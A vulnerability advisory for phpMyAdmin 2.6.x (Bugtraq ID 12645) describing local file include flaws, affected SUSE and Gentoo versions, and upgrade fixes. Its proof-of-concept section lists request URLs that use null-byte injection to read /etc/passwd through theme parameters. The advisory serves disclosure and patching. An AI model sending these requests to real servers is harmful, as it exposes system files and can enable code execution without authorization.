PHPMyAdmin Multiple Local File Include Vulnerabilities

BID:12645

Info

PHPMyAdmin Multiple Local File Include Vulnerabilities

Bugtraq ID: 12645
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 24 2005 12:00AM
Updated: Feb 24 2005 12:00AM
Credit: Maksymilian Arciemowicz <[email protected]> is credited with the discovery of these issues.
Vulnerable: S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
phpMyAdmin phpMyAdmin 2.6.1 -rc1
phpMyAdmin phpMyAdmin 2.6.1
phpMyAdmin phpMyAdmin 2.6 .0pl3
phpMyAdmin phpMyAdmin 2.6 .0pl2
+ Gentoo Linux 1.4
+ Gentoo Linux
+ Gentoo Linux
+ Gentoo Linux
phpMyAdmin phpMyAdmin 2.6 .0pl1
Gentoo Linux
Not Vulnerable: phpMyAdmin phpMyAdmin 2.6.1 pl1

Discussion

PHPMyAdmin Multiple Local File Include Vulnerabilities

phpMyAdmin is affected by multiple local file include vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in a PHP 'include()', 'require()', 'require-once()', or similar function call.

An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

It should be noted that these issues may also be leveraged to read arbitrary file on an affected computer with the privileges of the Web server.

Exploit / POC

PHPMyAdmin Multiple Local File Include Vulnerabilities

No exploit is required to leverage these issues. The following proof of concepts have been provided:

http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/passwd%00&theme=passwd%00
http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=passwd%00
http://www.example.com/phpMyAdmin/libraries/database_interface.lib.php?cfg[Server][extension]=cXIb8O3

Solution / Fix

PHPMyAdmin Multiple Local File Include Vulnerabilities

Solution:
The vendor has released an upgrade dealing with these issues.

Gentoo has released an advisory (GLSA 200503-07) and an updated eBuild to address these issues. Gentoo users that are running the affected software may apply the update by issuing the following sequence of commands as a superuser:
emerge --sync
emerge --ask --oneshot --verbose ">=dev-db/phpmyadmin-2.6.1_p2-r1"

SUSE has released advisory SUSE-SR:2005:007 to address these issues. Please see the referenced advisory for more information.


phpMyAdmin phpMyAdmin 2.6 .0pl3

phpMyAdmin phpMyAdmin 2.6 .0pl2

phpMyAdmin phpMyAdmin 2.6 .0pl1

phpMyAdmin phpMyAdmin 2.6.1 -rc1

phpMyAdmin phpMyAdmin 2.6.1

References

PHPMyAdmin Multiple Local File Include Vulnerabilities

References:
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